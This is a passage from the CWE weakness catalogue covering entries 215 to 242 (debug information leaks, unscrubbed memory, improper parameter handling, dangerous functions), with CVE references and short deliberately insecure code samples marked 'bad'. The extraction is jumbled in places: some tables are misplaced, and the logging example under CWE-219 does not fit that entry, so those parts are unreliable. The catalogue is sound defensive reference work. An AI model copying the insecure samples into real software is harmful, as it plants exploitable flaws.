| Weakness ID : 215 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The application inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.

Extended Description

When debugging, it may be necessary to report detailed information to the programmer. However, if the debugging code is not disabled when the application is operating in a production environment, then this sensitive information may be exposed to attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|--|------|
| ChildOf |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |
| CanFollow |  | 489 | Active Debug Code | 1073 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 199 | Information Management Errors | 2029 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | |

Potential Mitigations

Phase: Implementation

Do not leave debug statements that could be executed in the source code. Ensure that all debug information is eradicated before releasing the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Demonstrative Examples

Example 1:

The following program changes its behavior based on a debug flag.

Example Language: JSP

(bad)

```
<% if (Boolean.getBoolean("debugEnabled")) {
    %>
    User account number: <%= acctNo %>
    <%
    } %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2004-2268 | Password exposed in debug information. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2268 |
| CVE-2002-0918 | CGI script includes sensitive information in debug messages when an error is triggered. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0918 |

| Reference | Description |
|----------------------|---|
| CVE-2003-1078 | FTP client with debug option enabled shows password to the screen. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1078 |

CWE-219: Storage of File with Sensitive Data Under Web Root

Weakness ID : 219

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

Extended Description

Besides public-facing web pages and code, applications may store sensitive data, code that is not directly invoked, or other files under the web document root of the web server. If the server is not configured or otherwise used to prevent direct access to those files, then attackers may obtain this sensitive data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Demonstrative Examples

Example 1:

This code logs suspicious multiple login attempts.

Example Language: PHP

(bad)

```
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
```

```

        writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
    }
}
}

```

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-1999-1029 | Login attempts not recorded if user disconnects before maximum number of tries. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1029 |
| CVE-2002-1839 | Sender's IP address not recorded in outgoing e-mail. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1839 |
| CVE-2000-0542 | Failed authentication attempt not recorded if later attempt succeeds. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0542 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | V | 884 | CWE Cross-section | 884 | 2230 |

CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID : 224

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------------|------|
| ChildOf |  | 221 | Information Loss or Omission | 521 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-------|------|
| MemberOf |  | 1009 | Audit | 2140 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------------|------|
| MemberOf |  | 1210 | Audit / Logging Errors | 2191 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------------------------|------------|
| Non-Repudiation | Hide Activities | |
| Access Control | Gain Privileges or Assume Identity | |

Demonstrative Examples**Example 1:**

This code prints the contents of a file if a user has permission.

Example Language: PHP

(bad)

```
function readFile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $realFile = readlink($filename);
    }
    if(fileowner($realFile) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        writeLog($user . ' attempted to access the file ' . $filename . ' on ' . date('r'));
    }
}
```

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the `is_link()` and `readlink()` functions (CWE-363).

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-0725 | Attacker performs malicious actions on a hard link to a file, obscuring the real target file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-226: Sensitive Information in Resource Not Removed Before Reuse

| | |
|---------------------------|-----------------------|
| Weakness ID : 226 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities.

Extended Description

When resources are released, they can be made available for reuse. For example, after memory is de-allocated, an operating system may make the memory available to another process, or disk space may be reallocated when a file is deleted. As removing information requires time and additional resources, operating systems do not usually clear the previously written information.

Even when the resource is reused by the same process, this weakness can arise when new data is not as large as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, the information may be read by less trustworthy parties when the memory is reallocated.

This weakness can apply in hardware, such as when a device or system switches between power, sleep, or debug states during normal operation, or when execution changes to different users or privilege levels.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | |

Detection Methods

Manual Analysis

Write a known pattern into each sensitive location. Trigger the release of the resource or cause the desired state transition to occur. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the product needs to be fixed. Note that this test can likely be automated.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

During critical state transitions, information not needed in the next state should be removed or overwritten with fixed patterns (such as all 0's) or random data, before the transition to the next state.

Effectiveness = High

Phase: Architecture and Design

Phase: Implementation

When releasing, de-allocating, or deleting a resource, overwrite its data and relevant metadata with fixed patterns or random data. Be cautious about complex resource types whose underlying representation might be non-contiguous or change at a low level, such as how a file might be split into different chunks on a file system, even though "logical" file positions are contiguous at

the application layer. Such resource types might require invocation of special modes or APIs to tell the underlying operating system to perform the necessary clearing, such as SDelete (Secure Delete) on Windows, although the appropriate functionality might not be available at the application layer.

Effectiveness = High

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of an incorrect state transition.

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.

Example Language: (bad)

During the transition from A to B, the device does not scrub the memory.

After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.

Example Language: (good)

For transition from state A to state B, remove information which should not be available once the transition is complete.

Example 2:

The following code calls realloc() on a buffer containing sensitive data:

Example Language: C (bad)

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for cleartext_buffer could still contain an uncleared copy of the data.

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2003-0001 | Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0001 |
| CVE-2003-0291 | router does not clear information from DHCP packets that have been previously used https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0291 |
| CVE-2005-1406 | Products do not fully clear memory buffers when less data is stored into the buffer than previous. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1406 |
| CVE-2005-1858 | Products do not fully clear memory buffers when less data is stored into the buffer than previous. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1858 |

| Reference | Description |
|----------------------|---|
| CVE-2005-3180 | Products do not fully clear memory buffers when less data is stored into the buffer than previous. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3180 |
| CVE-2005-3276 | Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3276 |
| CVE-2002-2077 | Memory not properly cleared before reuse. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2077 |

| MemberOf |  | 963 | SFP Secondary Cluster: Exposed Data | 888 | 2117 |
| MemberOf |  | 1202 | Memory and Storage Issues | 1194 | 2188 |

Notes

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Maintenance

This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective: the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.

Research Gap

This is frequently found for network packets, but it can also exist in local memory allocation, files, etc.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |

CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID : 228

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--|------|
| ChildOf | P | 703 | Improper Check or Handling of Exceptional Conditions | 1394 |
| ChildOf | P | 707 | Improper Neutralization | 1402 |
| ParentOf | B | 229 | Improper Handling of Values | 531 |
| ParentOf | B | 233 | Improper Handling of Parameters | 536 |
| ParentOf | B | 237 | Improper Handling of Structural Elements | 541 |
| ParentOf | B | 241 | Improper Handling of Unexpected Data Type | 545 |

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Integrity | Unexpected State | |
| Availability | DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) | |
| | <i>If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.</i> | |

Demonstrative Examples

Example 1:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java

(bad)

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
```

```

public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.UrlHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|--|-----|------|
| MemberOf | C | 728 | OWASP Top Ten 2004 Category A7 - Improper Error Handling | 711 | 2054 |
| MemberOf | V | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf | C | 993 | SFP Secondary Cluster: Incorrect Input Handling | 888 | 2133 |

Notes

Maintenance

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

Theoretical

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|---|
| PLOVER | | | Structure and Validity Problems |
| OWASP Top Ten 2004 | A7 | | CWE More Specific Improper Error Handling |

CWE-229: Improper Handling of Values

| | |
|---------------------------|---------------------------|
| Weakness ID : 229 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 228 | Improper Handling of Syntactically Invalid Structure | 530 |
| ParentOf |  | 230 | Improper Handling of Missing Values | 532 |
| ParentOf |  | 231 | Improper Handling of Extra Values | 534 |
| ParentOf |  | 232 | Improper Handling of Undefined Values | 534 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|----|------------------------|------|
| MemberOf |  | 19 | Data Processing Errors | 2026 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|---|---|------|
| MemberOf |  | 993 | SFP Secondary Cluster: Incorrect Input Handling | 888 | 2133 |

CWE-230: Improper Handling of Missing Values

Weakness ID : 230

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-----------------------------|------|
| ChildOf |  | 229 | Improper Handling of Values | 531 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java (bad)

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

Observed Examples

| Reference | Description |
|---------------|---|
| CVE-2002-0422 | Blank Host header triggers resultant infoleak. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0422 |
| CVE-2000-1006 | Blank "charset" attribute in MIME header triggers crash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1006 |
| CVE-2004-1504 | Blank parameter causes external error infoleak. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1504 |
| CVE-2005-2053 | Blank parameter causes external error infoleak. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2053 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

|----------------------|---------|-----|-------------------|
| PLOVER | | | Extra Value Error |

CWE-232: Improper Handling of Undefined Values

Weakness ID : 232

Status: Draft

Structure : Simple
Abstraction : Variant

Description

The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-----------------------------|------|
| ChildOf |  | 229 | Improper Handling of Values | 531 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

In this example, an address parameter is read and trimmed of whitespace.

Example Language: Java

(bad)

```
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address='?' WHERE email='cwe@example.com'";
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2000-1003 | Client crash when server returns unknown driver type. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1003 |

MemberOf Relationships

| The CERT Oracle Secure Coding Standard for Java (2011) | ERR08-J | | Do not catch NullPointerException or any of its ancestors |

CWE-233: Improper Handling of Parameters

Weakness ID : 233

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 228 | Improper Handling of Syntactically Invalid Structure | 530 |
| ParentOf |  | 234 | Failure to Handle Missing Parameter | 537 |
| ParentOf |  | 235 | Improper Handling of Extra Parameters | 539 |
| ParentOf |  | 236 | Improper Handling of Undefined Parameters | 540 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|----|------------------------|------|
| MemberOf |  | 19 | Data Processing Errors | 2026 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Demonstrative Examples

Example 1:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java

(bad)

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

|----------|--|
| 39 | Manipulating Opaque Client-based Data Tokens |

CWE-234: Failure to Handle Missing Parameter

| | |
|------------------------------|---------------------------|
| Weakness ID : 234 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|---------------------------------|------|
| ChildOf | E | 233 | Improper Handling of Parameters | 536 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | Gain Privileges or Assume Identity | |
| Availability | | |
| Access Control | <i>There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.</i> | |
| Availability | DoS: Crash, Exit, or Restart | |

| Scope | Impact | Likelihood |
|-------|---|------------|
| | Potentially a program could fail if it needs more arguments than are available. | |

Potential Mitigations

Phase: Build and Compilation

This issue can be simply combated with the use of proper build process.

Phase: Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
foo_func(one, two);
void foo_func(int one, int two, int three) {
    printf("(1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

Example Language: C

(bad)

```
void some_function(int foo, ...) {
    int a[3], i;
    va_list ap;
    va_start(ap, foo);
    for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
    va_end(ap);
}
int main(int argc, char *argv[]) {
    some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2004-0276 | Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0276 |
| CVE-2002-1488 | Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1488 |
| CVE-2002-1169 | Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1169 |
| CVE-2000-0521 | Web server allows disclosure of CGI source code via an HTTP request without the version number. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0521 |
| CVE-2001-0590 | Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0590 |

| Reference | Description |
|----------------------|--|
| CVE-2003-0239 | Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0239 |
| CVE-2002-1023 | Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1023 |
| CVE-2002-1236 | CGI crashes when called without any arguments. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1236 |

| CVE-2002-1358 | Empty elements/strings in protocol test suite affect many SSH2 servers/clients. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1358 |
| CVE-2003-0477 | FTP server crashes in PORT command without an argument. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0477 |
| CVE-2002-0107 | Resultant infoleak in web server via GET requests without HTTP/1.0 version string. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0107 |
| CVE-2002-0596 | GET request with empty parameter leads to error message infoleak (path disclosure). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0596 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 993 | SFP Secondary Cluster: Incorrect Input Handling | 888 | 2133 |

Notes

Maintenance

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-1999-1156 | FTP server crash via PORT command with non-numeric character. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1156 |
| CVE-2004-0270 | Anti-virus product has assert error when line length is non-numeric. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0270 |

|----------|--|
| 48 | Passing Local Filenames to Functions That Expect a URL |

CWE-242: Use of Inherently Dangerous Function

Weakness ID : 242

Structure : Simple

Abstraction : Base

Status: Draft

Description

The program calls a function that can never be guaranteed to work safely.

Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The `gets()` function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to `gets()` and overflow the destination buffer. Similarly, the `>>` operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the `>>` operator and overflow the destination buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

| MemberOf |  | 1228 | API / Function Errors | 2198 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Implementation

Phase: Requirements

Ban the use of dangerous functions. Use their safe equivalent.

Phase: Testing

